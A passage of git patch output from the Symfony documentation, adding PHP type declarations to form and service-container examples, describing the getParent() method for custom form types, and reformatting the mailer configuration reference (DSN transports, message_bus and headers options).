@@ -571,7 +578,7 @@ argument of ``createForm()``::
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             $task = new Task();
             // use some PHP logic to decide if this form field is required or not
@@ -599,7 +606,7 @@ options they accept using the ``configureOptions()`` method::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 // ...,
@@ -623,7 +630,7 @@ Now you can use this new form option inside the ``buildForm()`` method::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -699,6 +706,7 @@ use the ``setAction()`` and ``setMethod()`` methods to change this::
     // src/Controller/TaskController.php
     namespace App\Controller;
 
+    // ...
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\Form\Extension\Core\Type\DateType;
     use Symfony\Component\Form\Extension\Core\Type\SubmitType;
@@ -706,7 +714,7 @@ use the ``setAction()`` and ``setMethod()`` methods to change this::
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // ...
 
@@ -727,10 +735,11 @@ When building the form in a class, pass the action and method as form options::
 
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    // ...
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // ...
 
@@ -775,10 +784,11 @@ method::
 
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    // ...
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             $task = ...;
             $form = $this->get('form.factory')->createNamed('my_name', TaskType::class, $task);
@@ -839,7 +849,7 @@ pass ``null`` to it, to enable Symfony's "guessing mechanism"::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // if you don't define field options, you can omit the second argument
@@ -897,16 +907,20 @@ If you need extra fields in the form that won't be stored in the object (for
 example to add an *"I agree with these terms"* checkbox), set the ``mapped``
 option to ``false`` in those fields::
 
+    // ...
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    class TaskType extends AbstractType
     {
-        $builder
-            ->add('task')
-            ->add('dueDate')
-            ->add('agreeTerms', CheckboxType::class, ['mapped' => false])
-            ->add('save', SubmitType::class)
-        ;
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            $builder
+                ->add('task')
+                ->add('dueDate')
+                ->add('agreeTerms', CheckboxType::class, ['mapped' => false])
+                ->add('save', SubmitType::class)
+            ;
+        }
     }
 
 These "unmapped fields" can be set and accessed in a controller with::

From 8f8621d99c344a3937f505ca12fade3a6e95f04a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 8 Nov 2020 15:05:59 +0100
Subject: [PATCH 0163/5766] Added PHP types to the DI related articles

---
 service_container.rst                         |  4 ++--
 service_container/autowiring.rst              | 19 +++++++++++--------
 service_container/calls.rst                   |  4 ++--
 service_container/compiler_passes.rst         |  4 ++--
 service_container/configurators.rst           |  8 ++++----
 service_container/factories.rst               |  4 ++--
 service_container/injection_types.rst         |  6 +++---
 service_container/optional_dependencies.rst   |  2 +-
 service_container/parent_services.rst         |  2 +-
 .../service_subscribers_locators.rst          | 12 ++++++------
 service_container/synthetic_services.rst      |  2 +-
 service_container/tags.rst                    | 18 ++++++++++--------
 12 files changed, 45 insertions(+), 40 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index ff80ac27a14..09e26cd4d0b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -340,7 +340,7 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
 
     // src/Controller/SiteController.php
     namespace App\Controller;
-    
+
     // ...
     use App\Service\SiteUpdateManager;
 
@@ -378,7 +378,7 @@ example, suppose you want to make the admin email configurable:
     +    private $adminEmail;
 
     -    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
-    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, $adminEmail)
+    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, string $adminEmail)
         {
             // ...
     +        $this->adminEmail = $adminEmail;
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 167fb4562f4..04058c6b9ac 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -29,7 +29,7 @@ Start by creating a ROT13 transformer class::
 
     class Rot13Transformer
     {
-        public function transform($value)
+        public function transform(string $value): string
         {
             return str_rot13($value);
         }
@@ -41,6 +41,7 @@ And now a Twitter client using this transformer::
     namespace App\Service;
 
     use App\Util\Rot13Transformer;
+    // ...
 
     class TwitterClient
     {
@@ -51,7 +52,7 @@ And now a Twitter client using this transformer::
             $this->transformer = $transformer;
         }
 
-        public function tweet($user, $key, $status)
+        public function tweet(User $user, string $key, string $status): void
         {
             $transformedStatus = $this->transformer->transform($status);
 
@@ -129,6 +130,8 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
 
     use App\Service\TwitterClient;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class DefaultController extends AbstractController
@@ -136,7 +139,7 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
         /**
          * @Route("/tweet", methods={"POST"})
          */
-        public function tweet(TwitterClient $twitterClient)
+        public function tweet(TwitterClient $twitterClient, Request $request): Response
         {
             // fetch $user, $key, $status from the POST'ed data
 
@@ -288,7 +291,7 @@ To follow this best practice, suppose you decide to create a ``TransformerInterf
 
     interface TransformerInterface
     {
-        public function transform($value);
+        public function transform(string $value): string;
     }
 
 Then, you update ``Rot13Transformer`` to implement it::
@@ -388,7 +391,7 @@ Suppose you create a second class - ``UppercaseTransformer`` that implements
 
     class UppercaseTransformer implements TransformerInterface
     {
-        public function transform($value)
+        public function transform(string $value): string
         {
             return strtoupper($value);
         }
@@ -426,7 +429,7 @@ the injection::
             $this->transformer = $shoutyTransformer;
         }
 
-        public function toot($user, $key, $status)
+        public function toot(User $user, string $key, string $status): void
         {
             $transformedStatus = $this->transformer->transform($status);
 
@@ -565,12 +568,12 @@ to inject the ``logger`` service, and decide to use setter-injection::
         /**
          * @required
          */
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             $this->logger = $logger;
         }
 
-        public function transform($value)
+        public function transform(string $value): string
         {
             $this->logger->info('Transforming '.$value);
             // ...
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 00069a2ccb2..78418aadf13 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -22,7 +22,7 @@ example::
     {
         private $logger;
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             $this->logger = $logger;
         }
@@ -97,7 +97,7 @@ instead of mutating the object they were called on::
         /**
          * @return static
          */
-        public function withLogger(LoggerInterface $logger)
+        public function withLogger(LoggerInterface $logger): self
         {
             $new = clone $this;
             $new->logger = $logger;
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 4d959e93dc6..79f666a4237 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -52,7 +52,7 @@ and process the services inside the ``process()`` method::
 
         // ...
 
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
             // for example, changing some container service:
@@ -81,7 +81,7 @@ method in the extension)::
 
     class MyBundle extends Bundle
     {
-        public function build(ContainerBuilder $container)
+        public function build(ContainerBuilder $container): void
         {
             parent::build($container);
 
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 92c1afc5794..5331d0ba7ac 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -28,7 +28,7 @@ You start defining a ``NewsletterManager`` class like this::
     {
         private $enabledFormatters;
 
-        public function setEnabledFormatters(array $enabledFormatters)
+        public function setEnabledFormatters(array $enabledFormatters): void
         {
             $this->enabledFormatters = $enabledFormatters;
         }
@@ -45,7 +45,7 @@ and also a ``GreetingCardManager`` class::
     {
         private $enabledFormatters;
 
-        public function setEnabledFormatters(array $enabledFormatters)
+        public function setEnabledFormatters(array $enabledFormatters): void
         {
             $this->enabledFormatters = $enabledFormatters;
         }
@@ -65,7 +65,7 @@ in the application::
     {
         // ...
 
-        public function getEnabledFormatters()
+        public function getEnabledFormatters(): array
         {
             // code to configure which formatters to use
             $enabledFormatters = [...];
@@ -92,7 +92,7 @@ to create a configurator class to configure these instances::
             $this->formatterManager = $formatterManager;
         }
 
-        public function configure(EmailFormatterAwareInterface $emailManager)
+        public function configure(EmailFormatterAwareInterface $emailManager): void
         {
             $emailManager->setEnabledFormatters(
                 $this->formatterManager->getEnabledFormatters()
diff --git a/service_container/factories.rst b/service_container/factories.rst
index f6ccd5a1198..9f01e7dc7a6 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -26,7 +26,7 @@ object by calling the static ``createNewsletterManager()`` method::
 
     class NewsletterManagerStaticFactory
     {
-        public static function createNewsletterManager()
+        public static function createNewsletterManager(): NewsletterManager
         {
             $newsletterManager = new NewsletterManager();
 
@@ -180,7 +180,7 @@ factory service can be used as a callback::
     // ...
     class InvokableNewsletterManagerFactory
     {
-        public function __invoke()
+        public function __invoke(): NewsletterManager
         {
             $newsletterManager = new NewsletterManager();
 
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 097540bd8f6..6b7b74d1d24 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -130,7 +130,7 @@ by cloning the original service, this approach allows you to make a service immu
          * @required
          * @return static
          */
-        public function withMailer(MailerInterface $mailer)
+        public function withMailer(MailerInterface $mailer): self
         {
             $new = clone $this;
             $new->mailer = $mailer;
@@ -224,7 +224,7 @@ that accepts the dependency::
 
     // src/Mail/NewsletterManager.php
     namespace App\Mail;
-    
+
     // ...
     class NewsletterManager
     {
@@ -233,7 +233,7 @@ that accepts the dependency::
         /**
          * @required
          */
-        public function setMailer(MailerInterface $mailer)
+        public function setMailer(MailerInterface $mailer): void
         {
             $this->mailer = $mailer;
         }
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index ca702176341..b981877a942 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -113,7 +113,7 @@ In YAML, the special ``@?`` syntax tells the service container that the
 dependency is optional. The ``NewsletterManager`` must also be rewritten by
 adding a ``setLogger()`` method::
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             // ...
         }
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 561721a2a8a..de0d5658b15 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -26,7 +26,7 @@ you may have multiple repository classes which need the
             $this->objectManager = $objectManager;
         }
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             $this->logger = $logger;
         }
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index a9579bcfcc3..2fc0ec54fb1 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -87,7 +87,7 @@ a PSR-11 ``ContainerInterface``::
             $this->locator = $locator;
         }
 
-        public static function getSubscribedServices()
+        public static function getSubscribedServices(): array
         {
             return [
                 'App\FooCommand' => FooHandler::class,
@@ -130,7 +130,7 @@ service locator::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -142,7 +142,7 @@ Service types can also be keyed by a service name for internal use::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -159,7 +159,7 @@ typically happens when extending ``AbstractController``::
 
     class MyController extends AbstractController
     {
-        public static function getSubscribedServices()
+        public static function getSubscribedServices(): array
         {
             return array_merge(parent::getSubscribedServices(), [
                 // ...
@@ -176,7 +176,7 @@ errors if there's no matching service found in the service container::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -395,7 +395,7 @@ will share identical locators among all the services referencing them::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    public function process(ContainerBuilder $container)
+    public function process(ContainerBuilder $container): void
     {
         // ...
 
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index 5a3ea59d276..59869d5d7f3 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -18,7 +18,7 @@ from within the ``Kernel`` class::
     {
         // ...
 
-        protected function initializeContainer()
+        protected function initializeContainer(): void
         {
             // ...
             $this->container->set('kernel', $this);
diff --git a/service_container/tags.rst b/service_container/tags.rst
index bbe7df1af6b..8bddd65c795 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -126,7 +126,7 @@ In a Symfony application, call this method in your kernel class::
     {
         // ...
 
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $container): void
         {
             $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
@@ -142,7 +142,7 @@ In a Symfony bundle, call this method in the ``load()`` method of the
     {
         // ...
 
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
@@ -178,7 +178,7 @@ To begin with, define the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport)
+        public function addTransport(\Swift_Transport $transport): void
         {
             $this->transports[] = $transport;
         }
@@ -304,7 +304,7 @@ container for any services with the ``app.mail_transport`` tag::
 
     class MailTransportPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // always first check if the primary service is defined
             if (!$container->has(TransportChain::class)) {
@@ -341,7 +341,7 @@ or from your kernel::
     {
         // ...
 
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $container): void
         {
             $container->addCompilerPass(new MailTransportPass());
         }
@@ -372,16 +372,18 @@ To begin with, change the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport, $alias)
+        public function addTransport(\Swift_Transport $transport, $alias): void
         {
             $this->transports[$alias] = $transport;
         }
 
-        public function getTransport($alias)
+        public function getTransport($alias): ?\Swift_Transport
         {
             if (array_key_exists($alias, $this->transports)) {
                 return $this->transports[$alias];
             }
+
+            return null;
         }
     }
 
@@ -476,7 +478,7 @@ use this, update the compiler::
 
     class TransportCompilerPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // ...
 

From 68813a00f5b3b910789b06117a45fc083f251a90 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 4 Apr 2020 18:06:14 +0200
Subject: [PATCH 0164/5766] [Form] Added explicit `getParent()` call in types
 inheritance mechanism

---
 form/create_custom_field_type.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 59816006041..f622d11c1e4 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -144,13 +144,23 @@ These are the most important methods that a form type class can define:
 
 ``configureOptions()``
     It defines the options configurable when using the form type, which are also
-    the options that can be used in ``buildForm()`` and ``buildView()`` methods.
+    the options that can be used in ``buildForm()`` and ``buildView()``
+    methods. Options are inherited from parent types and parent type
+    extensions, but you can create any custom option you need.
 
 ``finishView()``
     When creating a form type that consists of many fields, this method allows
     to modify the "view" of any of those fields. For any other use case, it's
     recommended to use instead the ``buildView()`` method.
 
+``getParent()``
+    It returns a form type class name that is defined as the parent. All
+    the other form type methods will be called with this parent type, and
+    all its type extensions, before calling the ones defined in your custom
+    type.
+    By default, all classes extend the ``AbstractType`` class, which
+    defines the ``FormType`` as the parent type.
+
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 97c94d77f4096b140da3ad303f7f3e9fa0ecdcb0 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 17:38:17 +0100
Subject: [PATCH 0165/5766] Updated getParent() description with the why/when
 (thanks javier!)

---
 form/create_custom_field_type.rst | 27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index f622d11c1e4..2d13673be33 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -55,13 +55,10 @@ By convention they are stored in the ``src/Form/Type/`` directory::
         }
     }
 
-The ``configureOptions()`` method, which is explained later in this article,
-defines the options that can be configured for the form type and sets the
-default value of those options.
-
-The ``getParent()`` method defines which is the form type used as the base of
-this type. In this case, the type extends from ``ChoiceType`` to reuse all of
-the logic and rendering of that field type.
+The methods of the ``FormTypeInterface`` are explained in detail later in
+this article. Here, ``getParent()`` method defines the base type
+(``ChoiceType``) and ``configureOptions()`` overrides some of its options.
+The resulting form type is a choice field with predefined choices.
 
 .. note::
 
@@ -154,12 +151,16 @@ These are the most important methods that a form type class can define:
     recommended to use instead the ``buildView()`` method.
 
 ``getParent()``
-    It returns a form type class name that is defined as the parent. All
-    the other form type methods will be called with this parent type, and
-    all its type extensions, before calling the ones defined in your custom
-    type.
-    By default, all classes extend the ``AbstractType`` class, which
-    defines the ``FormType`` as the parent type.
+    If your custom type is based on another type (i.e. they share some
+    functionality) add this method to return the fully-qualified class name
+    of that original type. Do not use PHP inheritance for this.
+    Symfony will call all the form type methods (``buildForm()``,
+    ``buildView()``, etc.) of the parent type and it will call all its type
+    extensions before calling the ones defined in your custom type.
+
+    By default, the ``AbstractType`` class returns the generic
+    :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`
+    type, which is the root parent for all form types in the Form component.
 
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~

From ad317c3e5c2e21bed3b2f5d60625d659b057fe54 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 20:42:21 +0100
Subject: [PATCH 0166/5766] [#14565] Minor formatting fixes

---
 mailer.rst                            | 17 +++++++++--------
 reference/configuration/framework.rst | 22 +++++++++++++++-------
 2 files changed, 24 insertions(+), 15 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ebf79865a72..1472d2ce2fa 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -70,16 +70,17 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     If you are migrating from Swiftmailer (and the Swiftmailer bundle), be
     warned that the DSN format is different.
 
-Using built-in transports
+Using Built-in Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-============ ==================================== ===========
-DSN protocol Example                              Description
-============ ==================================== ===========
-smtp         smtp://user:pass@smtp.example.com:25 Mailer uses an SMTP server to send emails
-sendmail     sendmail://default                   Mailer uses the local sendmail binary to send emails
-============ ==================================== ===========
-
+============  ========================================  ==============================
+DSN protocol  Example                                   Description
+============  ========================================  ==============================
+smtp          ``smtp://user:pass@smtp.example.com:25``  Mailer uses an SMTP server to
+                                                        send emails
+sendmail      ``sendmail://default``                    Mailer uses the local sendmail
+                                                        binary to send emails
+============  ========================================  ==============================
 
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 255adc11fec..a1692037b12 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2906,21 +2906,27 @@ Name of the lock you want to create.
 mailer
 ~~~~~~
 
+.. versionadded:: 4.3
+
+    The ``mailer`` settings were introduced in Symfony 4.3.
+
 .. _mailer-dsn:
 
 dsn
 ...
 
-**type**: ``string``
+**type**: ``string`` **default**: ``null``
 
-The DSN used by the mailer. When several DSN may be used, use `transports` (see below) instead.
+The DSN used by the mailer. When several DSN may be used, use
+``transports`` option (see below) instead.
 
 transports
 ..........
 
 **type**: ``array``
 
-A :ref:`list of DSN <multiple-email-transports>` that can be used by the mailer. A transport name is the key and the dsn is the value.
+A :ref:`list of DSN <multiple-email-transports>` that can be used by the
+mailer. A transport name is the key and the dsn is the value.
 
 envelope
 ........
@@ -2930,14 +2936,16 @@ sender
 
 **type**: ``string``
 
-Sender used by the ``Mailer``. Keep in mind that this setting override a sender set in the code.
+Sender used by the ``Mailer``. Keep in mind that this setting override a
+sender set in the code.
 
 recipients
 """"""""""
 
 **type**: ``array``
 
-Recipients used by the ``Mailer``. Keep in mind that this setting override recipients set in the code.
+Recipients used by the ``Mailer``. Keep in mind that this setting override
+recipients set in the code.
 
 .. configuration-block::
 
@@ -2963,8 +2971,8 @@ Recipients used by the ``Mailer``. Keep in mind that this setting override recip
             <framework:config>
                 <framework:mailer dsn="smtp://localhost:25">
                     <framework:envelope>
-                        <framework:recipients>admin@symfony.com</framework:recipients>
-                        <framework:recipients>lead@symfony.com</framework:recipients>
+                        <framework:recipient>admin@symfony.com</framework:recipient>
+                        <framework:recipient>lead@symfony.com</framework:recipient>
                     </framework:envelope>
                 </framework:mailer>
             </framework:config>

From 676403e7020add302de8df03e7f37c87211ea4d8 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 20:42:54 +0100
Subject: [PATCH 0167/5766] Removed 4.3 versionadded directive

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 9086078e30f..5d3f3cf1fde 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2797,10 +2797,6 @@ Name of the lock you want to create.
 mailer
 ~~~~~~
 
-.. versionadded:: 4.3
-
-    The ``mailer`` settings were introduced in Symfony 4.3.
-
 .. _mailer-dsn:
 
 dsn

From 34ad0b779d7a2fde362d86a0032732defb0e1539 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 20:47:25 +0100
Subject: [PATCH 0168/5766] [#14083] Revert mailer.headers option in 4.4 - 5.1

---
 reference/configuration/framework.rst | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a1692037b12..e61e0e1365d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -160,8 +160,6 @@ Configuration
     * `sender`_
     * `recipients`_
 
-  * :ref:`headers <mailer-headers>`
-
 * `php_errors`_
 
   * `log`_
@@ -2996,16 +2994,6 @@ recipients set in the code.
             ]);
         };
 
-.. _mailer-headers:
-
-headers
-.......
-
-**type**: ``array``
-
-Headers to add to emails. key (``name`` attribute in xml format)
-is the header name and value the header value.
-
 workflows
 ~~~~~~~~~
 

From 1da6b0b5e30017e126228a94893ce505ccbeb270 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 17 Aug 2020 09:10:48 +0200
Subject: [PATCH 0169/5766] Complete documentation about mailer integration

---
 mailer.rst                            |  4 +++-
 reference/configuration/framework.rst | 16 ++++++++++++++++
 2 files changed, 19 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index ac768b09cde..8cab1b50659 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -46,6 +46,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
             <framework:config>
                 <framework:mailer dsn="%env(MAILER_DSN)%"/>
             </framework:config>
@@ -55,6 +56,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 
         // config/packages/mailer.php
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
         return static function (ContainerConfigurator $containerConfigurator): void {
             $containerConfigurator->extension('framework', [
                 'mailer' => [
@@ -83,7 +85,7 @@ sendmail      ``sendmail://default``                    Mailer uses the local se
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Instead of using your own SMTP server, you can send emails via a 3rd party
+Instead of using your own SMTP server or sendmail binary, you can send emails via a 3rd party
 provider. Mailer supports several - install whichever you want:
 
 ==================  =============================================
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3174485f516..8fc30e2712a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -155,6 +155,7 @@ Configuration
 
   * :ref:`dsn <mailer-dsn>`
   * `transports`_
+  * `message_bus`_
   * `envelope`_
 
     * `sender`_
@@ -846,6 +847,8 @@ can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-
 
 .. _http-headers:
 
+.. _http-headers:
+
 headers
 .......
 
@@ -2813,6 +2816,18 @@ transports
 A :ref:`list of DSN <multiple-email-transports>` that can be used by the
 mailer. A transport name is the key and the dsn is the value.
 
+message_bus
+...........
+
+.. versionadded:: 5.1
+
+    The ``message_bus`` option was introduced in Symfony 5.1.
+
+**type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed
+
+Service identifier of the message bus to use when using the
+:doc:`Messenger component </messenger>` (e.g. ``messenger.default_bus``).
+
 envelope
 ........
 
@@ -2867,6 +2882,7 @@ recipients set in the code.
 
         // config/packages/mailer.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         return static function (ContainerConfigurator $containerConfigurator): void {
             $containerConfigurator->extension('framework', [
                 'mailer' => [

From a389dfb123e3bd9b6024399e21067c40822944ff Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 17 Aug 2020 09:10:48 +0200
Subject: [PATCH 0170/5766] Complete documentation about mailer integration

---
 mailer.rst                            | 20 +++++++++++++-------
 reference/configuration/framework.rst | 18 ++++++++++++++++--
 2 files changed, 29 insertions(+), 9 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 200064fbbef..60575fed9e9 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -73,14 +73,20 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 Using Built-in Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-============  ========================================  ==============================
+.. versionadded:: 5.2
+
+    The native protocol was introduced in Symfony 5.2.
+
+============  ========================================  ==============================================================
 DSN protocol  Example                                   Description
-============  ========================================  ==============================
-smtp          ``smtp://user:pass@smtp.example.com:25``  Mailer uses an SMTP server to
-                                                        send emails
-sendmail      ``sendmail://default``                    Mailer uses the local sendmail
-                                                        binary to send emails
-============  ========================================  ==============================
+============  ========================================  ==============================================================
+smtp          ``smtp://user:pass@smtp.example.com:25``  Mailer uses an SMTP server to send emails
+sendmail      ``sendmail://default``                    Mailer uses the local sendmail binary to send emails
+native        ``native://default``                      Mailer uses the sendmail binary and options configured
+                                                        in the ``sendmail_path`` setting of ``php.ini``. On Windows
+                                                        hosts, Mailer fallbacks to ``smtp`` and ``smtp_port``
+                                                        ``php.ini`` settings when ``sendmail_path`` is not configured.
+============  ========================================  ==============================================================
 
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 38388ad21f9..fdc11499c4b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -184,6 +184,8 @@ Configuration
     * `sender`_
     * `recipients`_
 
+  * :ref:`headers <mailer-headers>`
+
 * `php_errors`_
 
   * `log`_
@@ -927,8 +929,6 @@ This setting is automatically set to true when one of the child settings is conf
 
 .. _http-headers:
 
-.. _http-headers:
-
 headers
 .......
 
@@ -3091,6 +3091,20 @@ recipients set in the code.
             ]);
         };
 
+.. _mailer-headers:
+
+headers
+.......
+
+.. versionadded:: 5.2
+
+    The ``headers`` mailer option was introduced in Symfony 5.2.
+
+**type**: ``array``
+
+Headers to add to emails. The key (``name`` attribute in xml format) is the
+header name and value the header value.
+
 workflows
 ~~~~~~~~~
 

From 6b04c5f824e178cb6b0d9575b2068a0c56839c7e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 21:09:19 +0100
Subject: [PATCH 0171/5766] Removed duplicated line

---
 reference/configuration/framework.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8fc30e2712a..0780b49b0b9 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -847,8 +847,6 @@ can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-
 
 .. _http-headers:
 
-.. _http-headers:
-
 headers
 .......
 

From 034727f94ce8f1247d3ea7c18ff1bb2730522a41 Mon Sep 17 00:00:00 2001
From: Timo Bakx <timobakx@gmail.com>
Date: Sat, 21 Nov 2020 18:34:04 +0100
